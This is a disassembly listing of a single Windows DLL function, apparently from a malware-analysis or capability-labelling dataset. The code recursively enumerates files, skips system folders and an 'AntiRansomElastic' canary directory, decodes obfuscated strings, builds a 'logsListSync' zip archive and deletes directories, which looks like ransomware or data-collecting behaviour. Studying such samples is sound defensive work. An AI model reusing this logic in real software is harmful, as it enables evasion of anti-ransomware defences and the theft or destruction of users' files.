Function at 0x180008b30
Capabilities:
Create directory
Delete directory
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x3d0]
sub rsp, 0x4d0
mov rax, qword [0x18007f088]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
mov r12, rdx
mov rdi, rcx
xor r13d, r13d
mov ebx, r13d
mov dword [rsp + 0x30], ebx
lea r8, [0x1800685d0]
mov rdx, rcx
lea rcx, [rbp + 0xc8]
call fcn.18000265c
lea r14d, [r13 + 8]
cmp qword [rax + 0x18], r14
jb 0x180008b93
mov rax, qword [rax]
lea rdx, [rbp + 0xf0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov r15, rax
lea rcx, [rbp + 0xc8]
call fcn.18000dab8
cmp r15, 0xffffffffffffffff
je 0x180009b41
cmp byte [0x180081130], r13b
je 0x180008bd2
cmp qword [0x180081278], r13
je 0x180009b41
test byte [rbp + 0xf0], 0x10
je 0x180008ff2
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 8]
call fcn.18000265c
nop
or ebx, 1
mov dword [rsp + 0x30], ebx
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x180008c05
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 7
or ebx, 2
mov dword [rsp + 0x30], ebx
lea rcx, [rbp - 0x18]
cmp qword [rbp], r14
cmovae rcx, qword [rbp - 0x18]
lea rdx, str.AppDataRoamingMicrosoftWindowsRecent
call fcn.18003b4fc
test rax, rax
jne 0x180008db3
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.18000265c
nop
or ebx, 4
mov dword [rsp + 0x30], ebx
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x180008c9f
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 8
or ebx, r14d
mov dword [rsp + 0x30], ebx
mov r8d, 2
lea rdx, [0x180068650]
lea rcx, [rbp - 0x38]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
or ebx, 0x210
lea rcx, [rbp + 0x28]
cmp qword [rbp + 0x40], r14
cmovae rcx, qword [rbp + 0x28]
lea rdx, str.C:Windows
call fcn.18003b4fc
test rax, rax
jne 0x180008db3
lea rdx, str.ConnectedDevicesPlatform
lea rcx, [rbp + 0x11c]
call fcn.18003b4fc
test rax, rax
jne 0x180008db3
lea rdx, [0x180081210]
cmp qword [0x180081228], r14
cmovae rdx, qword [0x180081210]
lea rcx, [rbp + 0x11c]
call fcn.18003b4fc
test rax, rax
jne 0x180008db3
lea rdx, str.AntiRansomElastic
lea rcx, [rbp + 0x11c]
call fcn.18003b4fc
test rax, rax
mov sil, r13b
je 0x180008db6
mov sil, 1
test bl, 0x10
je 0x180008e0e
and ebx, 0xffffffef
mov rdx, qword [rbp + 0x40]
cmp rdx, r14
jb 0x180008dfd
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008df8
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b77
call fcn.18003a324
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], 7
mov word [rbp + 0x28], r13w
test r14b, bl
je 0x180008e66
and ebx, 0xfffffff7
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jb 0x180008e55
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008e50
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b7d
call fcn.18003a324
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r13w
test bl, 4
je 0x180008e78
and ebx, 0xfffffffb
lea rcx, [rbp + 0x48]
call fcn.18000dab8
nop
test bl, 2
je 0x180008ed0
and ebx, 0xfffffffd
mov rdx, qword [rbp]
cmp rdx, r14
jb 0x180008ebf
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008eba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b83
call fcn.18003a324
mov qword [rbp - 8], r13
mov qword [rbp], 7
mov word [rbp - 0x18], r13w
test bl, 1
je 0x180008ee1
and ebx, 0xfffffffe
lea rcx, [rbp + 8]
call fcn.18000dab8
test sil, sil
jne 0x180009b20
movzx eax, word [rbp + 0x11e]
cmp word [rbp + 0x11c], 0x2e
jne 0x180008f22
test ax, ax
je 0x180009b20
cmp word [rbp + 0x11c], 0x2e
jne 0x180008f22
cmp ax, 0x2e
jne 0x180008f22
cmp word [rbp + 0x120], r13w
je 0x180009b20
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.18000265c
nop
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x180008f41
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0xb
mov rdx, r12
lea rcx, [rbp - 0x38]
call fcn.180008b30
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jb 0x180008fd8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180008fd3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b89
call fcn.18003a324
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r13w
lea rcx, [rbp + 0x48]
jmp 0x180009b1b
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
lea rax, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r13w
jne 0x18000900c
lea rdx, [rbp + 0x11c]
lea rcx, [rbp - 0x38]
call fcn.180002cc0
lea rdx, [0x180081150]
lea rcx, [rbp - 0x38]
call fcn.18000e060
test al, al
jne 0x180009116
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.18000265c
nop
or ebx, 0x20
mov dword [rsp + 0x30], ebx
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x180009064
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
or ebx, 0x440
mov r10, qword [0x180081140]
mov rcx, qword [0x180081138]
jmp 0x180009109
lea rdx, [rbp + 0x88]
cmp qword [rbp + 0xa0], r14
cmovae rdx, qword [rbp + 0x88]
mov r9, rcx
cmp qword [rcx + 0x18], r14
jb 0x1800090da
mov r9, qword [rcx]
mov r8, qword [rcx + 0x10]
cmp r8, qword [rbp + 0x98]
jne 0x180009105
test r8, r8
je 0x18000910e
sub r9, rdx
movzx eax, word [rdx]
cmp word [r9 + rdx], ax
jne 0x180009105
add rdx, 2
sub r8, 1
je 0x18000910e
jmp 0x1800090ef
add rcx, 0x20
cmp rcx, r10
jne 0x1800090b8
cmp rcx, r10
mov sil, r13b
je 0x180009119
mov sil, 1
test bl, 0x40
je 0x18000912e
and ebx, 0xffffffbf
lea rcx, [rbp + 0x88]
call fcn.18000dab8
nop
test bl, 0x20
je 0x18000913f
and ebx, 0xffffffdf
lea rcx, [rbp + 0x48]
call fcn.18000dab8
test sil, sil
jne 0x180009b20
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
lea rax, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r13w
jne 0x180009162
lea rdx, [rbp + 0x11c]
lea rcx, [rbp - 0x38]
call fcn.180002cc0
mov rdx, r12
lea rcx, [rbp - 0x38]
call fcn.18000e060
test al, al
je 0x18000964a
lea rdx, str.Local_Data
lea rcx, [rbp + 0x11c]
call fcn.180043104
test eax, eax
je 0x18000928a
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x48]
call fcn.18000265c
nop
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x1800091ca
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0xc
mov rdx, qword [0x180081140]
cmp rdx, qword [0x180081148]
je 0x180009231
movups xmmword [rdx], xmm0
movups xmmword [rdx + 0x10], xmm1
mov edx, 7
mov word [rbp - 0x38], r13w
add qword [0x180081140], 0x20
jmp 0x180009245
lea r8, [rbp - 0x38]
lea rcx, [0x180081138]
call fcn.1800038ac
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jb 0x180009281
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000927b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b8f
call fcn.18003a324
nop
lea rcx, [rbp + 0x48]
call fcn.18000dab8
lea r9, [0x180081210]
cmp qword [0x180081228], r14
cmovae r9, qword [0x180081210]
mov rcx, rdi
cmp qword [rdi + 0x18], r14
jb 0x1800092ac
mov rcx, qword [rdi]
mov rax, qword [0x180081220]
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov rdx, qword [rdi + 0x10]
call fcn.180005080
cmp rax, 0xffffffffffffffff
je 0x1800095d1
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 8]
mov qword [rsp + 0x40], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov qword [rsp + 0x58], r13
mov qword [rsp + 0x60], r13
mov r8d, 4
lea rdx, str.1337
lea rcx, [rsp + 0x48]
call fcn.180002cc0
nop
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
mov qword [rsp + 0x78], r13
mov qword [rbp - 0x80], r13
mov r14d, 0x24
mov r8d, r14d
lea rdx, str.bW9fWFZAb2t9WkBDYkpdVG1vXlZYXR1NWEM
lea rcx, [rsp + 0x68]
call fcn.180002cc0
nop
lea r8, [rsp + 0x48]
lea rdx, [rsp + 0x68]
lea rcx, [rbp + 0x68]
call fcn.1800129c8
mov rsi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
lea r8d, [r14 - 0x1d]
lea rdx, str.abcdefg
lea rcx, [rbp + 8]
call fcn.180002cc0
nop
xorps xmm0, xmm0
movups xmmword [rbp - 0x78], xmm0
mov qword [rbp - 0x68], r13
mov qword [rbp - 0x60], r13
mov r8d, r14d
lea rdx, str.PT5NSjk6FAQWFw0LARQ9PjMBFxUIDwMPODk
lea rcx, [rbp - 0x78]
call fcn.180002cc0
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x58]
call fcn.180008210
nop
lea r8, [rbp + 8]
mov rdx, rax
lea rcx, [rbp + 0xa8]
call fcn.1800129c8
mov r14, rax
lea rcx, [rbp + 0x340]
call fcn.18000675c
nop
lea r8, [0x1800811f0]
cmp qword [0x180081208], 0x10
cmovae r8, qword [0x1800811f0]
mov r9, qword [0x180081200]
add r9, r8
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.18000fddc
bts ebx, 0xd
cmp qword [r14 + 0x18], 8
jb 0x1800093ff
mov r14, qword [r14]
or r8, 0xffffffffffffffff
inc r8
cmp word [r14 + r8*2], r13w
jne 0x180009403
mov rdx, r14
lea rcx, [rbp + 0x48]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0xe
lea rdx, [0x180081210]
mov r14d, 8
cmp qword [0x180081228], r14
cmovae rdx, qword [0x180081210]
mov r8, qword [0x180081220]
lea rcx, [rbp - 0x18]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0xf
cmp qword [rsi + 0x18], r14
jb 0x1800094b2
mov rsi, qword [rsi]
or r8, 0xffffffffffffffff
inc r8
cmp word [rsi + r8*2], r13w
jne 0x1800094b6
mov rdx, rsi
lea rcx, [rbp - 0x38]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
mov qword [rbp + 0x38], r13
mov qword [rbp + 0x40], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x10
lea rcx, [rbp + 0x28]
call fcn.180010d98
nop
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jb 0x180009547
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009542
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b95
call fcn.18003a324
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r13w
mov rdx, qword [rbp]
cmp rdx, r14
jb 0x180009597
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180009592
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b9b
call fcn.18003a324
mov qword [rbp - 8], r13
mov qword [rbp], 7
mov word [rbp - 0x18], r13w
lea rcx, [rbp + 0x48]
call fcn.18000dab8
nop
lea rcx, [rbp + 0x340]
call fcn.1800076b0
nop
lea rcx, [rbp + 0xa8]
call fcn.18000dab8
nop
jmp 0x180009b17
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.18000265c
nop
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x1800095f0
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x11
lea rcx, [rbp - 0x38]
call fcn.180010d98
nop
jmp 0x180009b17
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
mov rdx, rdi
cmp qword [rdi + 0x18], r14
jb 0x180009665
mov rdx, qword [rdi]
mov r8, qword [rdi + 0x10]
lea rcx, [rbp + 8]
call fcn.180002e90
lea rdx, [0x1800811c0]
lea rcx, [rbp + 8]
call fcn.18000e060
test al, al
je 0x18000980d
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.18000265c
nop
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x1800096a9
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x12
lea rcx, [rbp - 0x38]
call fcn.180008998
mov sil, al
mov rdx, qword [rbp - 0x20]
cmp rdx, r14
jb 0x18000973f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000973a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009ba1
call fcn.18003a324
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], 7
mov word [rbp - 0x38], r13w
lea rcx, [rbp + 0x68]
call fcn.18000dab8
test sil, sil
je 0x180009b20
lea rcx, [rbp + 0x340]
call fcn.18000675c
nop
lea r8, [0x180081168]
cmp qword [0x180081180], 0x10
cmovae r8, qword [0x180081168]
mov r9, qword [0x180081178]
add r9, r8
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.18000fddc
bts ebx, 0x13
mov r8d, 0x17
lea rdx, str.logsListSyncmain.zip
lea rcx, [rbp + 0x48]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
mov qword [rbp - 0x28], r13
mov qword [rbp - 0x20], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x14
lea rcx, [rbp - 0x38]
call fcn.180010d98
nop
lea rcx, [rbp + 0x48]
call fcn.18000dab8
nop
lea rcx, [rbp + 0x340]
call fcn.1800076b0
jmp 0x180009b20
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
lea rax, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], r13w
jne 0x180009827
lea rdx, [rbp + 0x11c]
lea rcx, [rbp + 8]
call fcn.180002cc0
lea rdx, [0x1800811d8]
lea rcx, [rbp + 8]
call fcn.18000e060
test al, al
je 0x180009b20
lea rcx, [rbp + 0x340]
call fcn.18000675c
nop
lea r8, [0x180081168]
cmp qword [0x180081180], 0x10
cmovae r8, qword [0x180081168]
mov r9, qword [0x180081178]
add r9, r8
lea rdx, [rbp + 0x48]
mov rcx, rax
call fcn.18000fddc
bts ebx, 0x17
mov r8d, 0xe
lea rdx, str.logsListSync
lea rcx, [rbp + 0x48]
call fcn.18000def0
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
mov qword [rbp - 8], r13
mov qword [rbp], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x15
lea rcx, [rbp - 0x18]
cmp qword [rbp], r14
cmovae rcx, qword [rbp - 0x18]
call fcn.1800430d8
mov rdx, qword [rbp]
cmp rdx, r14
jb 0x180009930
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000992b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b6b
call fcn.18003a324
mov qword [rbp - 8], r13
mov qword [rbp], 7
mov word [rbp - 0x18], r13w
lea rcx, [rbp + 0x48]
call fcn.18000dab8
nop
lea rcx, [rbp + 0x340]
call fcn.1800076b0
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0x68]
call fcn.18000265c
nop
lea rcx, [rbp + 0x11c]
or r8, 0xffffffffffffffff
inc r8
cmp word [rcx + r8*2], r13w
jne 0x180009976
lea rdx, [rbp + 0x11c]
mov rcx, rax
call fcn.18000def0
movups xmm0, xmmword [rax]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
bts ebx, 0x16
lea rdx, [rbp + 8]
lea rcx, [0x180081268]
call fcn.180007ac8
mov rdx, qword [rbp + 0x20]
cmp rdx, r14
jb 0x180009a02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800099fc
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180009b71
call fcn.18003a324
nop
lea rcx, [rbp + 0x68]
call fcn.18000dab8
lea rax, [rbp + 8]
mov qword [rsp + 0x38], rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
mov qword [rbp + 0x18], r13
mov qword [rbp + 0x20], r13
lea rsi, [0x1800811a0]
mov rdx, rsi
cmp qword [0x1800811b8], r14
cmovae rdx, qword [0x1800811a0]
mov r8, qword [0x1800811b0]
lea rcx, [rbp + 8]
call fcn.180002e90
nop
lea r8, [0x1800685d8]
mov rdx, rdi
lea rcx, [rbp + 0xa8]
call fcn.18000265c
nop
lea r8, [rbp + 0x11c]
mov rdx, rax
lea rcx, [rbp + 0x68]
call fcn.18000258c
nop
lea rdx, [rbp + 8]
mov rcx, rax
call fcn.180011ee8
nop
lea rcx, [rbp + 0xa8]
call fcn.18000dab8
mov byte [0x180081130], 1
lea rdx, [0x180081188]
mov rcx, rsi
call fcn.180008b30
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
mov byte [0x180081130], r13b
lea rdx, [0x180067a80]
lea rcx, [0x180081268]
call fcn.18000dfe4
lea r8, [0x180081210]
mov rdx, rsi
lea rcx, [rbp + 0x68]
call fcn.1800025f4
nop
mov rcx, rax
call fcn.180008718
nop
lea rcx, [rbp + 0x68]
call fcn.18000dab8
lea r8, [0x180081210]
mov rdx, rsi
lea rcx, [rbp + 0x68]
call fcn.1800025f4
cmp qword [rax + 0x18], r14
jb 0x180009b0e
mov rax, qword [rax]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
lea rcx, [rbp + 0x68]
call fcn.18000dab8
lea rdx, [rbp + 0xf0]
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x180008bbc
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x3c0]
xor rcx, rsp
call fcn.18003a7c0
mov rbx, qword [rsp + 0x520]
add rsp, 0x4d0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
nop
call fcn.180040fc4
int3